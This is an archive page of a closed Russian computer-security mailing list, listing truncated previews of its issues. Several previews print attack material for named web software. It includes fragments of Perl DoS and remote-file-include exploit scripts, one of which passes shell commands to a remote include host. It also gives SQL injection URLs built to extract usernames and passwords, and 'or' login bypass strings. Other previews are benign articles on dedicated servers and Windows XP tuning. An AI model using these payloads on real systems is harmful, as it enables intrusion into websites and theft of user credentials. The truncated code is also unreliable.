Рассылка закрыта
При закрытии подписчики были переданы в рассылку "Безопасность. Статьи, новости, комментарии" на которую и рекомендуем вам подписаться.
Вы можете найти рассылки сходной тематики в Каталоге рассылок.
| ← Август 2025 | ||||||
|
1
|
2
|
3
|
||||
|---|---|---|---|---|---|---|
|
4
|
5
|
6
|
7
|
8
|
9
|
10
|
|
11
|
12
|
13
|
14
|
15
|
16
|
17
|
|
18
|
19
|
20
|
21
|
22
|
23
|
24
|
|
25
|
26
|
27
|
28
|
29
|
30
|
31
|
В наше время взломы сайтов, форумом и чатов стали привычном делом. Для тех кто хочет знать почему это происходит и как этому противостоять и существует наша рассылка.
Статистика
-1 за неделю
Компьютер для продвинутых пользоватлей Статья. FAQ по выделенным серверам (Dedicated Servers)
Компьютер для продвинутых пользователей В этом выпуске: FAQ по выделенным серверам (Dedicated Servers) FAQ по выделенным серверам (Dedicated Servers) 1) Очень часто на форумах задают довольно тривиальный вопрос: "Что такое дедик и для чего он вообще нужен. Во-первых, слово "дедик, очевидно, пошло от английского слова "dedicated" - то есть выделенный, в данном случае "dedicated server" - выделенный сервер. Те, кто имеют уже опыт работы в Интернете, довольно хорошо знают, для чего они нужны, а также какие це...
Компьютер для продвинутых пользоватлей Выпус по безопасности. Exploits.
Компьютер для продвинутых пользователей В этом выпуске: VBulletin 3.6.3 ПО: VBulletin 3.6.3 dos.py: # VBulletin DoS Exploit by www.h4x0r.ir # # The exploit was tested on 15 machines And 13 of them got Crashed. 98% Works ;) # # important > Image Verification in (search.php) is NOT Enabled. # It works on 3.6.3 and prior [all] ! # #Perl Script use Socket; if @ARGV \n"; print \tex: $0 127.0.0.1 /forum/\n"; print \tex2: $0 127.0.0.1 / (if there isn't a dir\n\n"; print \th4x0r Security Team\n"; print \twww.h4x0r...
Компьютер для продвинутых пользоватлей Выпус по безопасности. Уязвимости в UltraSite, ASP Scripter
Компьютер для продвинутых пользователей В этом выпуске: UltraSite | ASP Scripter Easy Portal | ASP Scripter Live Support | Property Pro | ПО: UltraSite Версия: 1.0 Использование: update.asp?id-1%20union%20select%200,0,0,username,password,0,0,0,0,0,0,0,0,0%20from%20members%20where%20id%20like%207 Комментарий: : Нигде не смог найти данный продукт. ПО: ASP Scripter Easy Portal Версия: 1.4 Использование: http://[target]/[path]/LiveSupport/cpLogin.asp cpLogin.asp > 'or' // 'or' Комментарий: : Нигде не смог найт...
Компьютер для продвинутых пользоватлей Статья. Обрезание ХР.
Компьютер для продвинутых пользователей В этом выпуске: Обрезание ХР Обрезание ХР Каждое новое произведение искусства от Microsoft становится толще и прожорливее. Требования к ресурсам постоянно растут. ХР не исключение. Но при умелом подходе часть жира можно срезать на месте, увеличив производительность ненавистной ОС и освободив драгоценное дисковое пространство. Чтобы не писать каждый раз "нужна перезагрузка для принятия изменений, хочу отметить, что после 90% всех обращений к реестру (а точнее, после в...
Компьютер для продвинутых пользоватлей Выпус по безопасности. Exploits.
Компьютер для продвинутых пользователей В этом выпуске: phpManta-Mdoc 1.0.2 ПО: phpManta-Mdoc 1.0.2 dos.py: !/usr/bin/perl [Script Name: phpManta - Mdoc "; $socket = IO:Socket:INET>new(Proto"tcp, PeerAddr$host, PeerPort"80) or die "Connect Failed\n\n"; print $socket "GET $path$CODE" HTTP/1.1\r\n"; print $socket "User-Agent: $CODE\r\n"; print $socket "Host: $host\r\n"; print $socket "Connection: close\r\n\r\n"; close$socket); print "Write END to exit\n"; print "IF not working try another apache path\n\n"; p...
Компьютер для продвинутых пользоватлей Выпус по безопасности. Уязвимости в PHPKit, MyStats.
Компьютер для продвинутых пользователей В этом выпуске: PHPKit | MyStats ПО: PHPKit Версия: 1.6.1 RC2 Уязвимость: Возможно провести SQL-инъекцию на файлах guestbook/print.php, faq/faq.php Использование: /include.php?path=faq/faq.php&catid-1%20UNION%20SELECT%201,2,3,4,user_name,user_pw,7,8,9,10,11,12,13%20FROM%20phpkit_user%20where%20%20user_id=1%20and%20'1'1 Комментарий: : В Рунете продукт нe используется. Так что можно поверить только на сайтах буржуев. ПО: MyStats Версия: 1.0.8 Использование: mystats...
Компьютер для продвинутых пользоватлей Выпус по безопасности. Уязвимости в bitweaver, encapscms .
Компьютер для продвинутых пользователей В этом выпуске: bitweaver | encapscms ПО: bitweaver Версия: 1.3.1 Сайт: http://www.bitweaver.org/ Уязвимость: В следствии несовершенствования продукта есть возможность провести SQL-уязвимсоть. Использование: bitweaver/newsletters/edition.php?tk[SQL]&find=1&search=suchen Комментарий: : В Рунете продукт нe используется. Буржуи так же не больно им пользуются. ПО: encapscms Версия: 0.3.6 Уязвимый код : include_once$root"core/Config.php); include_once$root"core/DB_sql.php...
Компьютер для продвинутых пользоватлей Выпус по вурусам.
Компьютер для продвинутых пользователей В этом выпуске: Trojan-Downloader.Win32. VB.be | Trojan-PSW.Win32. LdPinch.aup | Trojan-Spy.Win32. Banker.z | Trojan-Spy.Win32. Delf.je | IM-Worm.Mac. Leap.a | Trojan.Win32.Agent. aan | Trojan.Win32. Qhost.ii | Sharp Yahoo! Messenger 7x (BETA) (Backdoor.Win32.VB.afx) | TeraBIT Virus Maker 2.0 (Backdoor.Win32.VB.ays) ПО: Trojan-Downloader.Win32. VB.be Троянская программа-загрузчик, без ведома пользователя загружающая из интернета программное обеспечение и запускающая ...
Компьютер для продвинутых пользоватлей Выпус по безопасности. Уязвимости в Portix-PHP, Abarcar,
Компьютер для продвинутых пользователей В этом выпуске: Portix-PHP | Abarcar | Speedwiki | FreeWebshop | YANS ПО: Portix-PHP Сайт: http://portix2.be Уязвимость: Возможно провести SQL-инъекцию и войти в зону пользователя, для этого необходимо подготовить запрос и вставить в зону авторизации. Использование: username: 'or' passwd : 'or' Комментарий: : Проверить справедливость этой уязвимости не получилось по очень банальной причине - продукт не используется на сайтах. ПО: Abarcar Сайт: http://www.abarcar.com/...
Компьютер для продвинутых пользоватлей Выпус по безопасности. Exploits.
Компьютер для продвинутых пользователей В этом выпуске: phpsatk | knowledgeBuilder | Omni-NFS Server | PHP Classifieds ПО: phpsatk1 dos.py: !/usr/bin/perl # phpsatk > Remote File Include Vulnerability # Script. :phpsatk # Discovered By. : Root3r_H3ll # Location . : Iran # Class. : Remote # Original Advisory : http://Www.PersainFox.com # We ArE : Root3r_H3LL & Arash.Rj # ; while $cmd ~ "exit) { $xpl = LWP:UserAgent>new) or die; $req = HTTP:Request>new(GET$target$file$shellsite?&$shellcmd$cmd) or die\n\n...
